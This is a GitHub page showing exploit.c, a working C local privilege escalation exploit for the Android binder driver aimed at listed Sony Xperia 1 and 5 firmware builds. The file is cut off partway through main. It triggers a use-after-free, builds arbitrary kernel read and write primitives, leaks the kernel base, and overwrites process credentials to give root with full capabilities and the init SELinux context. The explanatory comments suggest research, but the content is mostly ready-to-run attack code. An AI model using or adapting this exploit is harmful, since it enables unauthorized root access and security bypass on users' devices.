-
Notifications
You must be signed in to change notification settings - Fork 20
/
exploit.c
1064 lines (882 loc) · 36.7 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include <stdio.h>
#include <stdint.h>
#include <pthread.h>
#include <fcntl.h>
#include <errno.h>
#include <stdbool.h>
#include <poll.h>
#include <sys/epoll.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/mman.h>
//#include <linux/ashmem.h>
#include <linux/fs.h>
#include <signal.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include "node.h"
#include "exploit.h"
#include "handle.h"
#include "binder.h"
#include "log.h"
#include "endpoint.h"
#include "pending_node.h"
#define BINDER_BUFFER_SZ 128 * 1024
#define RESERVED_BUFFER_SZ 127 * 1024
#define KERNEL_MAGIC (unsigned long)0x644d5241
struct offsets {
const char *target;
uint32_t selinux_enforcing;
uint32_t memstart_addr;
uint32_t sysctl_table_root;
uint32_t proc_doulongvec_minmax;
uint32_t init_task;
uint32_t init_cred;
uint32_t pipefifo_fops;
};
static struct offsets offsets[] = {
// sony xperia 1
{ "802SO-55.1.B.0.202", 0x28F3000, 0x1A50E08, 0x21DD380, 0x3EF20, 0x219C680, 0x21AD808, 0x13A12D0 },
{ "J8110-55.1.A.0.748", 0x28f2000, 0x1a465d0, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
{ "J8170-55.1.A.0.748", 0x28f2000, 0x1a465d0, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
{ "J9110-55.1.A.0.748", 0x28f2000, 0x1a485b8, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
{ "J9110-55.1.A.3.107", 0x28f2000, 0x1a485e0, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
{ "J9150-55.1.A.3.107", 0x28f2000, 0x1a49f60, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
{ "J9180-55.1.A.0.748", 0x28f2000, 0x1a485b8, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
{ "J9180-55.1.A.3.107", 0x28f2000, 0x1a485e0, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
// sony xperia 5
{ "J8210-55.1.A.0.748", 0x28f2000, 0x1a47dc8, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
{ "J9210-55.1.A.0.748", 0x28f2000, 0x1a49db0, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
{ "J9210-55.1.A.3.112", 0x28f2000, 0x1a49ed8, 0x21dd380, 0x3ef20, 0x219c680, 0x21ad808, 0x13a12d0 },
{ NULL, }
};
#define SELINUX_ENFORCING_OFFSET (offsets[target_idx].selinux_enforcing)
#define MEMSTART_ADDR_OFFSET (offsets[target_idx].memstart_addr)
#define SYSCTL_TABLE_ROOT_OFFSET (offsets[target_idx].sysctl_table_root)
#define PROC_DOULONGVEC_MINMAX_OFFSET (offsets[target_idx].proc_doulongvec_minmax)
#define INIT_TASK_OFFSET (offsets[target_idx].init_task)
#define INIT_CRED_OFFSET (offsets[target_idx].init_cred)
#define OFFSET_PIPE_FOP (offsets[target_idx].pipefifo_fops)
#define TASKS_OFFSET 0x568
#define PID_OFFSET 0x668
#define MM_OFFSET 0x5b8
#define REAL_CRED_OFFSET 0x810
char pathname[64];
uint64_t reserved_buffer_sz = 0;
uint64_t memstart_addr = 0;
uint64_t kernel_base = 0;
static const char escalate_file[] = "/sbin/.magisk/escalate";
static int terminate = 0;
void sighandler(int num)
{
terminate = 1;
}
/*
* Convert physical address to kernel virtual address.
*/
uint64_t phys_to_virt(uint64_t phys)
{
return (phys - memstart_addr) | 0xFFFFFFC000000000;
}
/*
* Trigger the bug, and free pending node, on which we still have
* a reference. This will be the primitive for all the exploitation.
*/
void dec_node(struct binder_state *bs, uint64_t target, uint64_t vma_start, bool strong, bool second)
{
struct binder_transaction_data_sg sg;
struct binder_transaction_data *td;
struct binder_write_read bwr;
uint64_t handle = 0; /* It *SHOULD* be 0 as it's the value from ref created from the ctx mgr node. */
/* Send a big buffer. */
uint32_t tr_size = reserved_buffer_sz; // Use a query size of 0x20000 (we subtract 0x10 for the secctx)
uint8_t data[BINDER_BUFFER_SZ];
uint64_t offsets[128];
uint8_t sg_buf[0x1000];
uint32_t readbuf[32];
uint8_t *ptr = data;
uint64_t *offs = offsets;
uint8_t buf[0x100];
uint32_t buflen = 0;
/*
* Used to perform BC_TRANSACTION_SG queries.
*/
struct {
uint32_t cmd;
struct binder_transaction_data txn;
binder_size_t buffers_size;
} __attribute__((packed)) writebuf;
*(uint64_t *)(data + 0xe8) = 0x40; // offset of valid BINDER_TYPE_PTR
/* The purpose of this apparently useless transaction is to initialize the content of the qword at
* offset 0xf0 from the beginning of the transaction buffer of the servicemanager.
* I used a transaction size of 0x20000 to be sure to retrieve the whole buffer for myself, and this way
* be sure to be serviced the very beginning of the transaction buffer.
*/
// the transaction won't make it through as it will fail trying to copy from a NULL userland pointer
binder_transaction(bs, false, target, data, tr_size, NULL, 1);
/* Wait for the BR_FAILED_REPLY. */
uint32_t remaining = 0, consumed = 0;
while (binder_read_next(bs, data, &remaining, &consumed) != BR_FAILED_REPLY);
memset(buf, 0, 0x100);
memset(offsets, 0, 128 * sizeof(uint64_t));
/* From here it gets a little bit messy / crafty. */
/*
* Create the first object valid object, which will be smashed after the bug has been successfully triggered.
*/
struct flat_binder_object *fbo = (struct flat_binder_object *)ptr;
fbo->hdr.type = strong ? BINDER_TYPE_HANDLE : BINDER_TYPE_WEAK_HANDLE;
fbo->flags = 0;
fbo->handle = target;
fbo->cookie = 0;
*(offs++) = ((uint8_t *)fbo) - data;
ptr = ++fbo;
/*
* Here, we craft a BINDER_TYPE_PTR, which won't be added to the offset array, and will thus not be validated by the binder
* driver. It will be used later, once the bug is triggered, and we can make the `parent` pointer, point to this object.
* As it wasn't validated we can't assign it an arbitrary length. The sole purpose of this object is to use the
* binder parent fixup code to overwrite a qword at an "arbitrary" offset with the userland address of a child buffer.
* This is the primitive which is used to overwrite the handle value of the BINDER_TYPE_HANDLE we created above.
*/
struct binder_buffer_object *bbo = (struct binder_buffer_object *)(ptr); //For now, we assume the fd will be 4
bbo->hdr.type = BINDER_TYPE_PTR;
bbo->flags = 0;
bbo->buffer = vma_start; /* This *MUST* be the address of the beginning of the userland mapping of /dev/binder. */
bbo->length = 0xdeadbeefbadc0ded;
bbo->parent = 0;
bbo->parent_offset = 0;
ptr = ++bbo;
/* This one is the official one. */
bbo->hdr.type = BINDER_TYPE_PTR;
bbo->flags = 0;
bbo->buffer = sg_buf;
bbo->length = 0x10;
bbo->parent = 0;
bbo->parent_offset = 0;
// Add it to the offsets array
*(offs++) = ((uint8_t *)bbo) - data;
ptr = ++bbo;
/* We create an additionnal BINDER_TYPE_PTR, whose parent will be the one we created just above. This is where the bug is triggered,
* as the bbo->parent index is set to 6 which is wrong as it is > to the number of offsets in the offsets array. offs[6] will thus end up pointing in
* not yet initalized data reserved for the sg_buf. The whole purpose of the seemingly useless first transaction was to initialize this address with the
* value 0x40, which is the offset of the previous BINDER_TYPE_PTR object in order for the `binder_validate_ptr` and `binder_valid_fixup` function to succeed.
* This BINDER_TYPE_PTR is then eventually validated and the `last_fixup_obj_off` is set to the offset of this object.
* This implies that we just validated a BINDER_TYPE_PTR whose bbo->parent index points into an array entry which will be modified by the next BINDER_TYPE_PTR below,
* that the driver will process.
*/
bbo->hdr.type = BINDER_TYPE_PTR;
bbo->flags = BINDER_BUFFER_FLAG_HAS_PARENT;
bbo->buffer = NULL;
bbo->length = 0;
bbo->parent = 6;
bbo->parent_offset = 0;
buflen += bbo->length;
// Add it to the offsets array
*(offs++) = ((uint8_t *)bbo) - data;
ptr = ++bbo;
/*
* And finally, the last nail in the coffin.
* We craft the almost exact same BINDER_TYPE_PTR as above, still having a parent index of 6. This time however, we specific a 'buffer', whose data will be copied from
* before validating the BINDER_TYPE_PTR. This qword will overwrite the value at offs[6], replacing the value 0x40 pointing to a validated BINDER_TYPE_PTR, with the value 0x18,
* which points to the very first BINDER_TYPE_PTR, which wasn't validated by the binder driver as we haven't added it's offset to the offsets array. The following will now happen
* in `binder_fixup_parent()`:
* ```c
2884 parent = binder_validate_ptr(target_proc, b, &object, bp->parent,
2885 off_start_offset, &parent_offset,
2886 num_valid);
...
2893 if (!binder_validate_fixup(target_proc, b, off_start_offset,
2894 parent_offset, bp->parent_offset,
2895 last_fixup_obj_off,
2896 last_fixup_min_off)) {
2897 binder_user_error("%d:%d got transaction with out-of-order buffer fixup\n",
2898 proc->pid, thread->pid);
2899 return -EINVAL;
2900 }
* ```
* Here, parent will now point to the unvalidated BINDER_TYPE_PTR, however, to be used by the driver it needs to be validated by the `binder_validate_fixup()` function:
* ```c
* 2414 static bool binder_validate_fixup(struct binder_proc *proc,
2415 struct binder_buffer *b,
2416 binder_size_t objects_start_offset,
2417 binder_size_t buffer_obj_offset,
2418 binder_size_t fixup_offset,
2419 binder_size_t last_obj_offset,
2420 binder_size_t last_min_offset)
2421 {
...
2427 while (last_obj_offset != buffer_obj_offset) {
2428 unsigned long buffer_offset;
2429 struct binder_object last_object;
2430 struct binder_buffer_object *last_bbo;
2431 size_t object_size = binder_get_object(proc, b, last_obj_offset,
2432 &last_object);
2433 if (object_size != sizeof(*last_bbo))
2434 return false;
2435
2436 last_bbo = &last_object.bbo;
2437 *
2438 * Safe to retrieve the parent of last_obj, since it
2439 * was already previously verified by the driver.
2440 *
2441 if ((last_bbo->flags & BINDER_BUFFER_FLAG_HAS_PARENT) == 0)
2442 return false;
2443 last_min_offset = last_bbo->parent_offset + sizeof(uintptr_t);
2444 buffer_offset = objects_start_offset +
2445 sizeof(binder_size_t) * last_bbo->parent,
2446 binder_alloc_copy_from_buffer(&proc->alloc, &last_obj_offset,
2447 b, buffer_offset,
2448 sizeof(last_obj_offset));
2449 }
2450 return (fixup_offset >= last_min_offset);
2451 }
```
Here, as the `last_bbo` pointer was previously validated by the driver, it is trusted, and it particular, its `parent` field is trusted. However, the value of
last_bbo->parent is now `0x18` instead of `0x40`, which ends up setting `last_obj_offset` to the same value as `buffer_obj_offset` (which is the offset of the
fake BINDER_TYPE_PTR), and exists the loop. From now on, the driver will be manipulating and unvalidated object. The following code will try to fixup the buffer address
in the fake BINDER_TYPE_PTR object:
```c
2909 buffer_offset = bp->parent_offset +
2910 (uintptr_t)parent->buffer - (uintptr_t)b->user_data;
2911 binder_alloc_copy_to_buffer(&target_proc->alloc, b, buffer_offset,
2912 &bp->buffer, sizeof(bp->buffer));
```
As the parent->buffer is equal to b->user_data, only the parent_offset which is 8, is taken into account. This means that the userland address of the
bp->buffer will be copied at the offset 8 from the beginning of the binder buffer, which happens to be the offset of the node value of the BINDER_TYPE_HANDLE
(which has meanwhile been transformed into a BINDER_TYPE_BINDER by the binder driver) object we added at the beginning of the transaction. When eventually entering
the binder_transaction_buffer_release() function, the driver will fail trying to decrement the invalid node.
*/
uint64_t new_off = 0x18;
bbo->hdr.type = BINDER_TYPE_PTR;
bbo->flags = BINDER_BUFFER_FLAG_HAS_PARENT;
bbo->buffer = &new_off;
bbo->length = sizeof(new_off);
bbo->parent = 0x6; // offs[6] = 0x18;
bbo->parent_offset = 0x8 + ((second == true) ? 4 : 0);
*(offs++) = ((uint8_t *)bbo) - data;
ptr = ++bbo;
/* Send the BC_TRANSACTION_SG transaction. */
writebuf.cmd = BC_TRANSACTION_SG;
//writebuf.txn.target.handle = 0; // Ctxt mgr
writebuf.txn.target.handle = target; // endpoint
writebuf.txn.code = TRIGGER_DECREF;
writebuf.txn.flags = 0;
writebuf.txn.data_size = ((uint8_t*)ptr) - ((uint8_t *)data);
writebuf.txn.offsets_size = ((uint8_t*)offs) - ((uint8_t *)offsets);
writebuf.txn.data.ptr.buffer = data;
writebuf.txn.data.ptr.offsets = offsets;
buflen = tr_size - writebuf.txn.data_size - writebuf.txn.offsets_size;
writebuf.buffers_size = buflen;
bwr.write_size = sizeof(writebuf);
bwr.write_consumed = 0;
bwr.write_buffer = &writebuf;
bwr.read_size = 0;
bwr.read_consumed = 0;
bwr.read_buffer = 0;
/* Send bogus query. */
ioctl(bs->fd, BINDER_WRITE_READ, &bwr);
/* Wait for the reply and free. */
remaining = 0, consumed = 0;
while (binder_read_next(bs, data, &remaining, &consumed) != BR_REPLY);
/* Free the transaction buffer. */
td = (struct binder_transaction_data *)(data + consumed - sizeof(*td));
/* Free buffer. */
binder_free_buffer(bs, td->data.ptr.buffer);
}
/*
* Do all the preparation for the exploitation, that is setup up a number of pending nodes
* on the soon to be dangling `binder_node`. I used multiple pending nodes as I need to leak values
* multiple times in order to disclose the kernel address of the dangling `binder_node`, and know
* where I add controlled kernel data in order to bypass PAN.
*/
uint64_t setup_pending_nodes(struct binder_state *bs, uint64_t endpoint_handle, pthread_t *th, uint32_t n1, uint32_t n2)
{
struct binder_transaction_data *tr;
uint8_t txn_data[BINDER_BUFFER_SZ];
uint8_t rdata[512];
uint64_t uaf_node = 0, uaf_node2 = 0;
uint32_t remaining = 0, consumed = 0;
struct binder_transaction_data *t = (struct binder_transaction_data *)(rdata + sizeof(uint32_t));
struct binder_io msg, reply;
/* Free the reserved buffer. As we are supposed to only perform
* transaction up to this size, which won't require creating pending nodes
* it should be alright.
*/
bio_init(&msg, txn_data, sizeof(txn_data), 10);
bio_init(&reply, rdata, sizeof(rdata), 10);
/* Free the reserved buffer. */
if (binder_call(bs, &msg, &reply, endpoint_handle, FREE_RESERVED_BUFFER) < 0) {
log_err("[-] Binder call GET_VMA_START failed.\n");
exit(1);
}
binder_free_buffer(bs, reply.data0);
/* Compute the reserved buffer size, and ask the endpoint to reserve it. */
reserved_buffer_sz = RESERVED_BUFFER_SZ - (n1 + n2) * 0x10;
make_transaction(rdata, false, endpoint_handle, txn_data, reserved_buffer_sz, NULL, 0);
t->code = RESERVE_BUFFER;
/* Make the call. */
binder_write(bs, rdata, sizeof(*t) + sizeof(uint32_t));
/* Wait for the BR_TRANSACTION_COMPLETE. */
while (binder_read_next(bs, rdata, &remaining, &consumed) != BR_REPLY);
/* Free the transaction. */
tr = ((uint8_t*)rdata + consumed - sizeof(*tr));
binder_free_buffer(bs, tr->data.ptr.buffer);
bio_init(&msg, txn_data, sizeof(txn_data), 10);
bio_init(&reply, rdata, sizeof(rdata), 10);
/* Retrieve the vma_start address of the endpoint. */
if (binder_call(bs, &msg, &reply, endpoint_handle, GET_VMA_START) < 0) {
log_err("[-] Binder call GET_VMA_START failed.\n");
exit(1);
}
uint64_t vma_start = bio_get_uint32(&reply) + (((uint64_t)bio_get_uint32(&reply)) << 32);
binder_free_buffer(bs, reply.data0);
/* Now, we exchange handle, so as to create the vulnerable node, and for the endpoint
* to be able to reach back to us.
*/
bio_init(&msg, txn_data, sizeof(txn_data), 10);
bio_init(&reply, rdata, sizeof(rdata), 10);
bio_put_obj(&msg, 0x4141); //Add arbitrary node value
if (binder_call(bs, &msg, &reply, endpoint_handle, EXCHANGE_HANDLES) < 0) {
log_err("[-] Binder call GET_VMA_START failed.\n");
exit(1);
}
/* The endpoint should have created a ref to the uaf node. */
uaf_node = bio_get_ref(&reply);
if (!uaf_node) {
log_err("[-] Failed to grab a reference to the UAF node.\n");
exit(1);
}
/* Take a reference to the node. */
binder_acquire(bs, uaf_node);
uaf_node2 = bio_get_ref(&reply);
if (!uaf_node2) {
log_err("[-] Failed to grab a reference to the UAF node.\n");
exit(1);
}
/* Take a reference to the node. */
binder_acquire(bs, uaf_node2);
/* Free the buffer. */
binder_free_buffer(bs, reply.data0);
int i;
pthread_t node_th;
for (i = 0; i < n1; i++) {
/* Create the first pending node. */
node_th = pending_node_create(bs, uaf_node);
if (th)
th[i] = node_th;
}
int j;
for (j = 0; j < n2; j++) {
node_th = pending_node_create(bs, uaf_node2);
if (th)
th[i + j] = node_th;
}
/* Now that we have a pending node, we can release our reference to it. */
binder_release(bs, uaf_node);
binder_release(bs, uaf_node2);
/* Free the reserved buffer. As we are supposed to only perform
* transaction up to this size, which won't require creating pending nodes
* it should be alright.
*/
bio_init(&msg, txn_data, sizeof(txn_data), 10);
bio_init(&reply, rdata, sizeof(rdata), 10);
/* Free the reserved buffer. */
if (binder_call(bs, &msg, &reply, endpoint_handle, FREE_RESERVED_BUFFER) < 0) {
log_err("[-] Binder call GET_VMA_START failed.\n");
exit(1);
}
binder_free_buffer(bs, reply.data0);
/* return the vulnerable node reference to the caller. */
return vma_start;
}
/*
* Read SELinux enforcing through selinuxfs.
*/
char read_selinux_enforcing() {
int fd = open("/sys/fs/selinux/enforce", O_RDONLY);
char enforcing;
read(fd, &enforcing, 1);
close(fd);
return enforcing;
}
struct exp_node * file;
int pipes[2];
/*
* 32-bit kernel read primitive using corrupted f_inode, such that
* epitem.event.data overlaps with f_inode->i_sb.
*/
uint64_t read32(uint64_t addr) {
struct epoll_event evt;
evt.events = 0;
evt.data.u64 = addr - 24;
int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt);
uint32_t test = 0xdeadbeef;
ioctl(pipes[0], FIGETBSZ, &test);
return test;
}
/*
* 64-bit kernel read primitive using read32
*/
uint64_t read64(uint64_t addr) {
uint32_t lo = read32(addr);
uint32_t hi = read32(addr+4);
return (((uint64_t)hi) << 32) | lo;
}
void *ctl_table_uaddr;
/*
* 64-bit kernel write primitive using fake proc sysctl entry.
*/
void write64(uint64_t addr, uint64_t value) {
*(uint64_t *)(ctl_table_uaddr + 8) = addr; // data == what to read/write
*(uint32_t *)(ctl_table_uaddr + 16) = 0x8;
char buf[100];
int fd = open(pathname, O_WRONLY);
if (fd < 0) {
printf("[!] Failed to open. Errno: %d\n", errno);
}
sprintf(buf, "%lu\n", value);
int ret = write(fd, buf, strlen(buf));
if (ret < 0)
printf("[!] Failed to write, errno: %d\n", errno);
close(fd);
}
/*
* 32-bit kernel write primitive using fake proc sysctl entry.
*/
void write32(uint64_t addr, uint32_t value) {
uint64_t val64 = (uint64_t)value | ((uint64_t)read32(addr + 4) << 32);
return write64(addr, val64);
}
/*
* Find task given its PID, starting at task start.
*/
uint64_t get_task_by_pid(uint64_t start, int pid) {
uint64_t task = read64(start + TASKS_OFFSET + 8) - TASKS_OFFSET;
while (task != start) {
if (read32(task + PID_OFFSET) == pid) {
return task;
}
/* Go to prev */
task = read64(task + TASKS_OFFSET + 8) - TASKS_OFFSET;
}
return 0;
}
static int get_targetid(char *id, int idsize)
{
char *s;
FILE *f;
f = popen("getprop ro.product.model", "r");
if (fgets(id, idsize - 1, f) == NULL)
return -1;
s = strrchr(id, '\n');
if (s != NULL)
*s = '\0';
pclose(f);
strcat(id, "-");
f = popen("getprop ro.build.display.id", "r");
if (fgets(id + strlen(id), idsize - strlen(id), f) == NULL)
return -1;
s = strrchr(id, '\n');
if (s != NULL)
*s = '\0';
pclose(f);
return 0;
}
typedef uint32_t u32;
typedef uint32_t atomic_t;
typedef uint32_t kuid_t;
typedef uint32_t kgid_t;
typedef uint64_t kernel_cap_t;
#define __rcu
struct key;
struct task_security_struct {
u32 osid; /* SID prior to last execve */
u32 sid; /* current SID */
u32 exec_sid; /* exec SID */
u32 create_sid; /* fscreate SID */
u32 keycreate_sid; /* keycreate SID */
u32 sockcreate_sid; /* fscreate SID */
};
struct cred {
atomic_t usage;
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
void *security; /* subjective LSM security */
/* ... */
};
void patch_task_cred(uint64_t cred_addr, uint32_t init_sid)
{
uint64_t val;
struct cred *cred = (void *)cred_addr;
struct task_security_struct *sec;
if (cred == NULL)
return;
val = 0;
write32((uint64_t)&cred->uid, val);
write32((uint64_t)&cred->gid, val);
write32((uint64_t)&cred->suid, val);
write32((uint64_t)&cred->sgid, val);
write32((uint64_t)&cred->euid, val);
write32((uint64_t)&cred->egid, val);
write32((uint64_t)&cred->fsuid, val);
write32((uint64_t)&cred->fsgid, val);
write32((uint64_t)&cred->securebits, val);
val = ~(0UL);
write64((uint64_t)&cred->cap_inheritable, val);
write64((uint64_t)&cred->cap_permitted, val);
write64((uint64_t)&cred->cap_effective, val);
write64((uint64_t)&cred->cap_bset, val);
//write64((uint64_t)&cred->cap_ambient, val);
sec = (void *)read64((uint64_t)&cred->security);
if (sec != NULL) {
write32((uint64_t)&sec->osid, init_sid);
write32((uint64_t)&sec->sid, init_sid);
}
}
/*
* pwn!
*/
int main(int argc, char **argv)
{
int res = -1;
uint64_t A, B;
char targetid[256];
int target_idx = -1;
int revert_enforcing = 1;
int exec_no_fork = 0;
char *cmd = NULL;
argc--; argv++;
while (argc > 0) {
if (strcmp(argv[0], "-T") == 0) {
printf("supported targets:\n");
for (target_idx = 0; offsets[target_idx].target != NULL; target_idx++)
printf("%3d : %s\n", target_idx, offsets[target_idx].target);
return 0;
}
if (argc > 1 && strcmp(argv[0], "-t") == 0) {
target_idx = atoi(argv[1]);
argc--; argv++;
}
if (strncmp(argv[0], "-r", 2) == 0)
revert_enforcing = argv[0][2] == '0' ? 0 : 1;
if (strcmp(argv[0], "-e") == 0)
exec_no_fork = 1;
if (argc > 1 && strcmp(argv[0], "-c") == 0) {
cmd = argv[1];
argc--; argv++;
}
argc--; argv++;
}
if (get_targetid(targetid, sizeof(targetid)) < 0)
return 1;
printf("[+] factoryversion = '%s'\n", targetid);
if (target_idx < 0) {
for (target_idx = 0; offsets[target_idx].target != NULL; target_idx++)
if (strcmp(targetid, offsets[target_idx].target) == 0)
break;
if (offsets[target_idx].target == NULL) {
log_err("target is not supported.\n", targetid);
return 1;
}
} else
printf("[+] forced use of '%s' target\n", offsets[target_idx].target);
void *map = mmap(2<<20, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_POPULATE, -1, 0);
log_info("[+] Mapped %lx\n", map);
/* We'll use one of these pipes for leaking its address and corrupting f_inode. */
pipe(&pipes[0]);
pin_cpu(0);
log_info("[+] selinux_enforcing before exploit: %c\n", read_selinux_enforcing());
struct binder_state *bs = binder_open(BINDER_DEVICE, 128 * 1024);
if (!bs) {
log_err("[-] Failed to open /dev/binder.\n");
exit(1);
}
/* Spawn the threads used for reallocating the dangling `binder_node` with controlled data. */
spawn_realloc_threads();
/* Step 1: leak a pipe file address */
file = node_new("leak_file");
/* Only works on file implementing the 'epoll' function. */
while (!node_realloc_epitem(file, pipes[0]))
node_reset(file);
uint64_t file_addr = file->file_addr;
log_info("[+] pipe file: 0x%lx\n", file_addr);
/* Step 2: leak epitem address */
struct exp_node *epitem_node = node_new("epitem");
while (!node_kaddr_disclose(file, epitem_node))
node_reset(epitem_node);
printf("[+] file epitem at %lx\n", file->kaddr);
/*
* Alright, now we want to do a write8 to set file->f_inode.
* Given the unlink primitive, we'll set file->f_inode = epitem + 80
* and epitem + 88 = &file->f_inode.
*
* With this we can change f_inode->i_sb by modifying the epitem data,
* and get an arbitrary read through ioctl.
*
* This is corrupting the fllink, so we better don't touch anything there!
*/
struct exp_node *write8_inode = node_new("write8_inode");
node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20);
printf("[+] Write done, should have arbitrary read now.\n");
uint64_t fop = read64(file_addr + 0x28);
printf("[+] file operations: %lx\n", fop);
kernel_base = fop - OFFSET_PIPE_FOP;
printf("[+] kernel base: %lx\n", kernel_base);
/* Just a basic check */
if (read32(kernel_base + 0x38) != KERNEL_MAGIC) {
printf("[+] Something went wrong with arbitrary read setup!?\n");
goto out;
}
/*
* Step 4: Setup a fake sysctl node in our own userland page. We will start
* by locating the kernel address of this page by parsing our own pgd.
*/
uint64_t init_task = kernel_base + INIT_TASK_OFFSET;
uint64_t init_cred = read64(init_task + REAL_CRED_OFFSET);
printf("[+] init_cred: %lx\n", init_cred);
uint64_t current = get_task_by_pid(init_task, getpid());
if (current == 0) {
printf("[+] Failed to find ourselves...\n");
goto out;
}
/* Now resolve our mapping at 2MB. But first read memstart_addr so we can do phys_to_virt() */
memstart_addr = read64(kernel_base + MEMSTART_ADDR_OFFSET);
printf("[+] memstart_addr: 0x%lx\n", memstart_addr);
uint64_t mm = read64(current + MM_OFFSET);
uint64_t pgd = read64(mm + 0x48);
uint64_t entry = read64(pgd);
uint64_t next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
printf("[+] First level entry: %lx -> next table at %lx\n", entry, next_tbl);
/* Offset 8 for 2MB boundary */
entry = read64(next_tbl + 8);
next_tbl = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
printf("[+] Second level entry: %lx -> next table at %lx\n", entry, next_tbl);
entry = read64(next_tbl);
uint64_t kaddr = phys_to_virt(((entry & 0xffffffffffff)>>12)<< 12);
*(uint64_t *)map = 0xdeadbeefbadc0ded;
if ( read64(kaddr) != 0xdeadbeefbadc0ded) {
printf("[!] Something went wrong resolving the address of our mapping\n");
goto out;
}
